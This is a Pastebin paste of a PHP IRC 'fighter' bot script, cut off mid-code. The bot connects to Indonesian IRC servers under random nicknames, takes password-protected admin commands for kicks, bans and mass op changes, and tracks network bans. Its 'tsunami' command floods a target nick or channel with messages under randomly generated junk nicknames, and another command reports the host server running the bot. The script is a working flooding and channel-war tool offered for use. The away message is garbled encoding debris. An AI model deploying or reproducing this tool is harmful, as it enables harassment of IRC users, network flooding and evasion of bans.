Advertisement
Guest User

Untitled

a guest
Feb 10th, 2019
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.68 KB | None | 0 0
  1. <?php
  2. //fighter script - BAJAY
  3. function working() {
  4. $querym=array(
  5. "?",
  6. "!",
  7. "^^",
  8. " ^^",
  9. " :(",
  10. " :)",
  11. " ~:>",
  12. " :P~",
  13. " :D",
  14. ",",
  15. ".",
  16. "a",
  17. "i",
  18. "u",
  19. "e",
  20. "o",
  21. "z",
  22. "v",
  23. "z",
  24. "x",
  25. "c",
  26. "p",
  27. "m",
  28. "t",
  29. "k",
  30. "b",
  31. "s",
  32. "u",
  33. "bot",
  34. "g",
  35. "lo",
  36. "jo",
  37. "lol"
  38. );
  39. $tsu1=array("`","|","[","]","{","}","^","_");
  40. $tsu2=array("`","|","[","]","{","}","^","-","\\","_");
  41. $nicky=array(
  42. "Ce_Semoox",
  43. "Andrian",
  44. "Janokoo",
  45. "Anindia",
  46. "Li4ny",
  47. "Nadi4`Cute",
  48. "Saroh",
  49. "Nilna",
  50. "Manasikana",
  51. "Pambudi",
  52. "Mila",
  53. "layly",
  54. "Kenjeran",
  55. "Jamidi",
  56. "Guntur",
  57. "Kanthil",
  58. "Keluarga",
  59. "Babaa",
  60. "Ali",
  61. "Backbone",
  62. "Diandra",
  63. "Hanika",
  64. "Enny",
  65. "Aprilia",
  66. "Merkurius",
  67. "Planet",
  68. "Bothok",
  69. "Bunda",
  70. "Trapo",
  71. "isom`",
  72. "Majdi",
  73. "Roz1n",
  74. "Oni",
  75. "Jhody`",
  76. "Zimbabwe",
  77. "Ibrahim",
  78. "Musa",
  79. "Malaikat",
  80. "Berduka",
  81. "Panijo",
  82. "Irwansy4h",
  83. "Madjid",
  84. "Nurul",
  85. "Arifin",
  86. "Luthfiatin",
  87. "Suherning",
  88. "Joko",
  89. "Susilo",
  90. "Fauza",
  91. "Makenun",
  92. "Dulah",
  93. "Fuzina",
  94. "Soraya",
  95. "Rhoma",
  96. "Irama",
  97. "Gendang",
  98. "Gamelan",
  99. "Nuning",
  100. "Tia",
  101. "Dharmoo",
  102. "Mbah_e",
  103. "Dapids",
  104. "Dinoyo",
  105. "Sofyy",
  106. "Rima",
  107. "Maia`Ahmad",
  108. "Mechan",
  109. "Meichan",
  110. "Duo`Ratu",
  111. "Thes_Sister",
  112. "Dmasip",
  113. "Allesandroo",
  114. "Danny",
  115. "Meth4",
  116. "Naning",
  117. "Ima",
  118. "Ellin",
  119. "Candr4",
  120. "Obamaa",
  121. "Barrack",
  122. "Buse",
  123. "George",
  124. "Kennedy",
  125. "Walker",
  126. "Tyery",
  127. "Tiery",
  128. "Gallas",
  129. "Williams",
  130. "Rooney",
  131. "Wyne",
  132. "Nuning_Caem",
  133. "Marissa",
  134. "Evie",
  135. "Indahnya",
  136. "Pipis",
  137. "Spomsor",
  138. "Elkasih",
  139. "Dhanie",
  140. "Lorena",
  141. "Okrek",
  142.  
  143. );
  144. $usr1=array(
  145. "Majapahit","Community","Yudistira","telkomsel","Gajahmada","Keyboardz","Indonesia","Samuderaa","Majapahit",
  146.  
  147. );
  148.  
  149. $nick = $nicky[rand(0,count($nicky) - 1)];
  150. $awaymsg = "4?ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?¢â‚¬ ?ƒA¢?¢â€?A¬?¢â€?A¢?ƒ?’?? ’?ƒâ€??‚A¢?ƒ?’?‚A¢?ƒA¢?¢â€?A¬?…A??ƒâ€??‚A¬?ƒ?’?¢â‚¬A¦?ƒâ€??‚A??ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?‚A¢?ƒA¢?¢â‚¬???‚A¬?ƒâ€¦?‚A??ƒ?’?? ’?ƒA¢?¢â€?A¬?…A??ƒ?’?¢â‚¬???ƒâ€??‚A»8!4?ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?¢â‚¬ ?ƒA¢?¢â€?A¬?¢â€?A¢?ƒ?’?? ’?ƒâ€??‚A¢?ƒ?’?‚A¢?ƒA¢?¢â€?A¬?…A??ƒâ€??‚A¬?ƒ?’?¢â‚¬A¦?ƒâ€??‚A??ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?‚A¢?ƒA¢?¢â‚¬???‚A¬?ƒâ€¦?‚A??ƒ?’?? ’?ƒA¢?¢â€?A¬?…A??ƒ?’?¢â‚¬???ƒâ€??‚A« 4tawa 8C?ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?¢â‚¬ ?ƒA¢?¢â€?A¬?¢â€?A¢?ƒ?’?? ’?ƒâ€??‚A¢?ƒ?’?‚A¢?ƒA¢?¢â€?A¬?…A??ƒâ€??‚A¬?ƒ?’?¢â‚¬A¦?ƒâ€??‚A??ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?‚A¢?ƒA¢?¢â‚¬???‚A¬?ƒâ€¦?‚A??ƒ?’?? ’?ƒA¢?¢â€?A¬?…A??ƒ?’?¢â‚¬???ƒâ€??‚A®?ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?¢â‚¬ ?ƒA¢?¢â€?A¬?¢â€?A¢?ƒ?’?? ’?ƒA¯?‚A??‚A½ ?ƒ?’?‚A¢?ƒA¢?¢â‚¬???‚A¬?ƒA¢?¢â‚¬?¾?‚A¢?ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?‚A¢?ƒA¢?¢â‚¬???‚A¬?ƒâ€¦?‚A??ƒ?’?? ’?ƒA¢?¢â€?A¬?…A??ƒ?’?¢â‚¬???ƒâ€??‚A«wS 4?ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?¢â‚¬ ?ƒA¢?¢â€?A¬?¢â€?A¢?ƒ?’?? ’?ƒâ€??‚A¢?ƒ?’?‚A¢?ƒA¢?¢â€?A¬?…A??ƒâ€??‚A¬?ƒ?’?¢â‚¬A¦?ƒâ€??‚A??ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?‚A¢?ƒA¢?¢â‚¬???‚A¬?ƒâ€¦?‚A??ƒ?’?? ’?ƒA¢?¢â€?A¬?…A??ƒ?’?¢â‚¬???ƒâ€??‚A»8!4?ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?¢â‚¬ ?ƒA¢?¢â€?A¬?¢â€?A¢?ƒ?’?? ’?ƒâ€??‚A¢?ƒ?’?‚A¢?ƒA¢?¢â€?A¬?…A??ƒâ€??‚A¬?ƒ?’?¢â‚¬A¦?ƒâ€??‚A??ƒ?’?? ’?ƒï?½ ?¢â‚¬â„¢?ƒ?’?‚A¢?ƒA¢?¢â‚¬???‚A¬?ƒâ€¦?‚A??ƒ?’?? ’?ƒA¢?¢â€?A¬?…A??ƒ?’?¢â‚¬???ƒâ€??‚A«";
  151. $identify = 'abah_benu';
  152. $Admin = 'abah_benu';
  153. $BOT_PASSWORD = 'Mboys';
  154. $channels = '#Mboys';
  155. $remotehst2= array("irc.citra.net.id","irc.indika.net.id","irc.plasa.com","irc.cbn.net.id","irc.telkom.net.id","irc.hotspeed.com.sg","irc.indotransdata.net");
  156. $remotehost= $remotehst2[rand(0,count($remotehst2) - 1)];
  157. $port = '6667';
  158. $realname = '4,1 —=¤[ Mboys ]¤=— ';
  159. $counterfp = 0;
  160. $channels = str_replace("CNL","#",$channels);
  161. print "<body bgcolor=#000000 text=#C0C0C0>";
  162. print "<b>== Connecting to $remotehost...</b>";
  163.  
  164.  
  165. $raway = "on";
  166. $log = "off";
  167. $saway = "1";
  168. if (!$stime) { $stime = time(); }
  169. if (!$port) { $port = "6666"; }
  170. $Admin = strtolower($Admin);
  171. $auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin"));
  172.  
  173. $username = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
  174. $keluar = 0;
  175. $akill = 1;
  176. $katime = 0;
  177. $localhost = 'localhost';
  178. $dayload = date("H:i:s d/m/Y");
  179. ini_set('user_agent','MSIE 5\.5;');
  180. set_time_limit(0);
  181. define ('CRL', "\r\n");
  182. $channels = strtolower($channels)." ";
  183. $channel = explode(" ", $channels);
  184.  
  185. do {
  186. $fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
  187. if(!$fp) {
  188. if ( $counterfp <= 200 ) {
  189. $counterfp = $counterfp+1;
  190. working($nick);
  191. }
  192. else {
  193. print "<br><b>Cannot connect to $remotehost!<br>Please Try Another Server!</b>";
  194. $keluar = 1;
  195. exit;
  196. }
  197. }
  198. print "<br><b>== Suceeded connection</b>";
  199. $Header = 'NICK '.$nick . CRL;
  200. $Header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
  201. fputs($fp, $Header);
  202. $response = '';
  203. while (!feof($fp)) {
  204. $response .= fgets($fp, 1024);
  205. while (substr_count($response,CRL) != 0) {
  206. $offset = strpos($response, CRL);
  207. $data = substr($response,0,$offset);
  208. $response = substr($response,$offset+2);
  209. if (substr($data,0,1) == ':') {
  210. $offsetA = strpos($data, ' ');
  211. $dFrom = substr($data,1,$offsetA-1);
  212. $offsetB = strpos($data, ' :');
  213. $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
  214. $offsetC = strpos($data, '!');
  215. $dNick = substr($data,1,$offsetC-1);
  216. $iText = substr($data,$offsetB+2);
  217. if ( substr($dCommand,0,3) == '004' ) {
  218. fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
  219. if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
  220. fputs($fp, 'NOTICE ' . $Admin . ' :Halo bos besar!' . CRL);
  221. foreach ($channel as $v) {
  222. fputs($fp, 'JOIN ' .$v . CRL);
  223. }
  224. $pong1 = '1';
  225. }
  226. elseif (substr($dCommand,0,3)=='465') {
  227. print "<br><b>== This bot have been autokilled.</b>";
  228. $akill = 2;
  229. }
  230. elseif (substr($dCommand,0,3)=='433') {
  231. $nick = $nicky[rand(0,count($nicky) - 1)];
  232. fputs($fp, 'NICK '.$nick . CRL);
  233. }
  234. elseif (substr($dCommand,0,3)=='432') {
  235. $nick = $nick.$username;
  236. fputs($fp, 'NICK '.$nick . CRL);
  237. }
  238. if (eregi('.dal.net',$dNick) && $akill==2) {
  239. if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {
  240. print "<br><b>".strstr($data,'***')." </b>";
  241.  
  242. if (eregi('Your IP is',$data)) {
  243. $keluar = 1;
  244. exit;
  245. }
  246. }
  247. }
  248. $dcom = explode(" ", $dCommand);
  249. $dNick = strtolower($dNick);
  250. if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
  251. fputs($fp, 'JOIN ' .$dcom[1]. CRL);
  252. }
  253. elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
  254. if ($auth["$dNick"]) {
  255. if ($auth["$dNick"]["pass"]) {
  256. if ($auth["$dNick"]["auth"]==2) {
  257.  
  258. if ($dcom[0]=='NICK') {
  259. $com = explode(" ", $data);
  260. $chnick = strtolower(str_replace(':','',$com[2]));
  261. if ($dNick!=$chnick) {
  262. $auth["$dNick"]["auth"] = 1;
  263. fputs($fp,'NOTICE '.$chnick.' :selamat istirahat bos! ' . CRL);
  264. }
  265. } else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :selamat istirahat bos! ' . CRL); }
  266. }
  267. } else { fputs($fp,'NOTICE ' . $dNick . ' :pass your pass ' . CRL); }
  268. }
  269. }
  270. elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
  271. $dcom[2] = strtolower($dcom[2]);
  272. if ($auth["$dcom[2]"]) {
  273. if ($auth["$dcom[2]"]["pass"]) {
  274. if ($auth["$dcom[2]"]["auth"]==1) {
  275. $auth["$dcom[2]"]["auth"] = 2; $whois = "";
  276. fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
  277. } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :password bener bos seep! ' . CRL); }
  278. } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass salah cux! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  279. } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  280. }
  281. elseif ($dcom[0]=='NOTICE') {
  282. $com = explode(" ", $data);
  283. if ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) {
  284. $msg = str_replace('','',$data);
  285. $msg = strstr($msg,":KB");
  286. $msg = str_replace(":KB $com[4]","",$msg);
  287. fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
  288. fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
  289. }
  290. }
  291. elseif ($dcom[0]=='PRIVMSG') {
  292. $com = explode(" ", $data);
  293. if ($com[3]==':VERSION') {
  294. fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'4 4,4 5,5 0,1 A15n14d15r0o15m15e15d14A15 15,114S15c0r15i14p15t8 8 0.1 4 By : abah_benu 9FS -=> abah_benu@yahoo.co.id 5,5 4,4 '.chr(1) . CRL);
  295. }
  296. elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
  297. if ($auth["$dNick"]) {
  298. if ($auth["$dNick"]["pass"]) {
  299. if ($auth["$dNick"]["auth"]==1) {
  300. if ($com[4]===$auth["$dNick"]["pass"]) {
  301. $auth["$dNick"]["auth"] = 2;
  302. fputs($fp,'NOTICE ' . $dNick . ' :You`re Authorized as '.$auth["$dNick"]["status"].' of this bot! ' . CRL);
  303. } else { fputs($fp,'NOTICE ' . $dNick . ' :password salah! Auth salah cok! ' . CRL); }
  304. } else { fputs($fp,'NOTICE ' . $dNick . ' :password bener bos! ' . CRL); }
  305. } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  306. } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  307. }
  308. elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
  309. if ($auth["$dNick"]) {
  310. if ($auth["$dNick"]["pass"]) {
  311. if ($auth["$dNick"]["auth"]==2) {
  312. $auth["$dNick"]["auth"] = 1;
  313. fputs($fp,'NOTICE ' . $dNick . ' :You`re LogOut! ' . CRL);
  314. } else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already LogOut! ' . CRL); }
  315. } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  316. } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  317. }
  318. elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
  319. if ($auth["$dNick"]) {
  320. if (!$auth["$dNick"]["pass"]) {
  321. $auth["$dNick"]["pass"] = $com[4];
  322. $auth["$dNick"]["auth"] = 1;
  323. fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
  324. } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
  325. } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
  326. }
  327. elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
  328. if ($auth["$dNick"]) {
  329. if ($auth["$dNick"]["auth"]==2) {
  330. if ($com[4]===$auth["$dNick"]["pass"]) {
  331. $auth["$dNick"]["pass"] = $com[5];
  332. fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
  333. } else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
  334. } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  335. } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
  336. }
  337. elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
  338. $com[4] = strtolower($com[4]);
  339. if ($auth["$dNick"]["auth"]==2) {
  340. if ($auth["$dNick"]["status"]=="Admin") {
  341. if ($com[5]=="master" || $com[5]=="user") {
  342. $auth["$com[4]"]["name"] = $com[4];
  343. $auth["$com[4]"]["status"] = $com[5];
  344. fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
  345. fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
  346. } else { fputs($fp,'NOTICE ' . $dNick . ' :salah Command! Type: adduser <nick> <master/user> ' . CRL); }
  347. } elseif ($auth["$dNick"]["status"]=="master") {
  348. if (!$auth["$com[4]"]) {
  349. if ($com[5]=="user") {
  350. $auth["$com[4]"]["name"] = $com[4];
  351. $auth["$com[4]"]["status"] = $com[5];
  352. fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
  353. fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass33] <Spyderur Pass ' . CRL);
  354. } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: adduser <nick> user ' . CRL); }
  355. } else { fputs($fp,'NOTICE ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }
  356. } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
  357. } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  358. }
  359. elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
  360. $com[4] = strtolower($com[4]);
  361. if ($auth["$dNick"]["auth"]==2) {
  362. if ($auth["$dNick"]["status"]=="Admin") {
  363. if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
  364. unset($auth["$com[4]"]);
  365. fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
  366. fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
  367. } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
  368. } elseif ($auth["$dNick"]["status"]=="master") {
  369. if ($auth["$com[4]"]["status"]=="user") {
  370. unset($auth["$com[4]"]);
  371. fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
  372. fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
  373. } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
  374. } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
  375. } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  376. }
  377. elseif ($auth["$dNick"]["status"]) {
  378. if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
  379. $chan = strstr($dCommand,"#");
  380. $anick = str_replace("PRIVMSG ","",$dCommand);
  381. if ($com[3]==':!auth') {
  382. if ($auth["$dNick"]["auth"]==2) {
  383. fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized!' . CRL);
  384. } else {
  385. $whois = $dNick;
  386. fputs($fp,'WHOIS '.$dNick . CRL);
  387. }
  388. } elseif ($com[3]==':`auth' && $chan) {
  389. if ($auth["$dNick"]["auth"]==2) {
  390. fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' siap bos!' . CRL);
  391. } else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' bukan bosku cok!' . CRL); }
  392. } elseif ($auth["$dNick"]["auth"]==2) {
  393. if ($com[3]==':`say' && $com[4] && $chan) {
  394. $msg = strstr($data,":`say");
  395. $msg = str_replace(":`say ","",$msg);
  396. fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
  397. }
  398. elseif ($com[3]==':`act' && $com[4] && $chan) {
  399. $msg = strstr($data,":`act");
  400. $msg = str_replace(":`act ","",$msg);
  401. fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL);
  402. }
  403. elseif ($com[3]==':`slap' && $com[4] && $chan) {
  404. fputs($fp,'PRIVMSG '.$chan.' :ACTION slaps '.$com[4].' Tepat Di jidat 4pake kursi, kompor, penggorengan, plus tahi kuda... 2JeGuuuERRR... PleeTHaaQQQ ... DeeZZiiNGhHH ... 12cukuliinn dach loe ... monyongA² tuh jidat ... hahahahakZ :4P~'. CRL);
  405. }
  406. elseif ($com[3]==':`msg' && $com[4] && $com[5]) {
  407. $msg = strstr($data,":`msg");
  408. $msg = str_replace(":`msg $com[4] ","",$msg);
  409. fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
  410. }
  411. elseif ($com[3]==':`notice' && $com[4] && $com[5]) {
  412. $msg = strstr($data,":`notice");
  413. $msg = str_replace(":`notice $com[4] ","",$msg);
  414. fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
  415. }
  416. elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) {
  417. $msg = strstr($data,":`ctcp");
  418. $msg = str_replace(":`ctcp $com[4] ","",$msg);
  419. fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL);
  420. }
  421. elseif ($com[3]==':`ping' && $chan) {
  422. $sml = $smile[rand(0,count($smile) - 1)];
  423. fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL);
  424. }
  425. elseif ($com[3]==':`pong' && $chan) {
  426. $sml = $smile[rand(0,count($smile) - 1)];
  427. fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PING! '.$sml. CRL);
  428. }
  429. elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") {
  430. $bhost = $_SERVER['HTTP_HOST'];
  431. $bphp = $_SERVER['PHP_SELF'];
  432. fputs($fp,'NOTICE '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL);
  433. }
  434. elseif ($com[3]==':`up' && $chan) {
  435. fputs($fp, 'PRIVMSG chanserv@services.dal.net :op '.$chan.' '.$nick . CRL);
  436. }
  437. elseif ($com[3]==':`down' && $chan) {
  438. fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
  439. }
  440. elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") {
  441. $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
  442. fputs($fp, 'NICK '.$nicktsu . CRL);
  443. if (substr($dCommand,0,3)=='433') {
  444. $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
  445. fputs($fp, 'NICK '.$nicktsu . CRL);
  446. }
  447. $msg = strstr($data,":tsunami");
  448. $msg = str_replace(":tsunami $com[4]","",$msg);
  449. if (ereg("#", $com[4])) {
  450. fputs($fp, 'JOIN '.$com[4] . CRL);
  451. }
  452. fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL);
  453. fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL);
  454. fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI '.$msg.'' . CRL);
  455. fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL);
  456. fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL);
  457.  
  458. fputs($fp, 'PRIVMSG '.$com[4].' :FLOOD '.$msg.'' . CRL);
  459. if (ereg("#", $com[4])) {
  460. fputs($fp, 'PART '.$com[4].' :Complete' . CRL);
  461. fputs($fp, 'NICK '.$nick . CRL);
  462. } else {
  463. fputs($fp, 'NICK '.$nick . CRL);
  464. }
  465. }
  466. elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") {
  467. $msg = strstr($data,":`cycle");
  468. if (ereg("#", $com[4])) {
  469. $partchan = $com[4];
  470. $msg = str_replace(":`cycle $com[4]","",$msg);
  471. } else {
  472. $partchan = $chan;
  473. $msg = str_replace(":`cycle","",$msg);
  474. }
  475. if (strlen($msg)<3) {
  476. $msg = '';
  477. }
  478. fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
  479. fputs($fp, 'JOIN '.$partchan . CRL);
  480. }
  481. elseif ($com[3]==':`part' && $auth["$dNick"]["status"]=="Admin") {
  482. $msg = strstr($data,":`part");
  483. if (ereg("#", $com[4])) {
  484. $partchan = $com[4];
  485. $msg = str_replace(":`part $com[4]","",$msg);
  486. } else {
  487. $partchan = $chan;
  488. $msg = str_replace(":`part","",$msg);
  489. }
  490. if (strlen($msg)<3) {
  491. $msg = '';
  492. }
  493. fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
  494. $remchan = strtolower($partchan);
  495. if (in_array($remchan, $channel)) {
  496. $channels = str_replace("$remchan ","",$channels);
  497. unset($channel);
  498. $channel = explode(" ", $channels);
  499. }
  500.  
  501. foreach ($channel as $v) {
  502. fputs($fp, 'JOIN '.$v . CRL);
  503. }
  504. }
  505. elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
  506. if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
  507. $addchan = strtolower($com[4]);
  508. if (!in_array($addchan, $channel)) {
  509. $channel[]=$addchan;
  510. $channels.="$addchan ";
  511. }
  512. foreach ($channel as $v) {
  513. sleep(rand(1,6));
  514. fputs($fp, 'JOIN '.$v . CRL);
  515. }
  516. }
  517. elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
  518. $nick = $com[4];
  519. $identify = $com[5];
  520. fputs($fp, 'NICK '.$nick . CRL);
  521. fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
  522. }
  523. elseif ($com[3]==':`k' && $com[4] && $chan) {
  524. $msg = strstr($data,":`k");
  525. $msg = str_replace(":`k $com[4]","",$msg);
  526. fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
  527. }
  528. elseif ($com[3]==':`kb' && $com[4] && $chan) {
  529. $msg = strstr($data,":`kb");
  530. $msg = str_replace(":`kb $com[4]","",$msg);
  531. fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
  532. fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
  533. }
  534. elseif ($com[3]==':`ganti') {
  535. $nick = $nicky[rand(0,count($nicky) - 1)];
  536. fputs($fp, 'NICK '.$nick . CRL);
  537. if (substr($dCommand,0,3)=='433') {
  538. $nick = $nicky[rand(0,count($nicky) - 1)];
  539. fputs($fp, 'NICK '.$nick . CRL);
  540. }
  541. }
  542. elseif ($com[3]==':`op' && $chan) {
  543. if ($com[4]) { $opnick = $com[4]; }
  544. else { $opnick = $dNick; }
  545. fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
  546. }
  547. elseif ($com[3]==':`deop' && $chan) {
  548. if ($com[4]) { $opnick = $com[4]; }
  549. else { $opnick = $dNick; }
  550. fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
  551. }
  552. elseif ($com[3]==':`v' && $chan) {
  553. if ($com[4]) { $vonick = $com[4]; }
  554. else { $vonick = $dNick; }
  555. fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
  556. }
  557. elseif ($com[3]==':`dv' && $chan) {
  558. if ($com[4]) { $vonick = $com[4]; }
  559.  
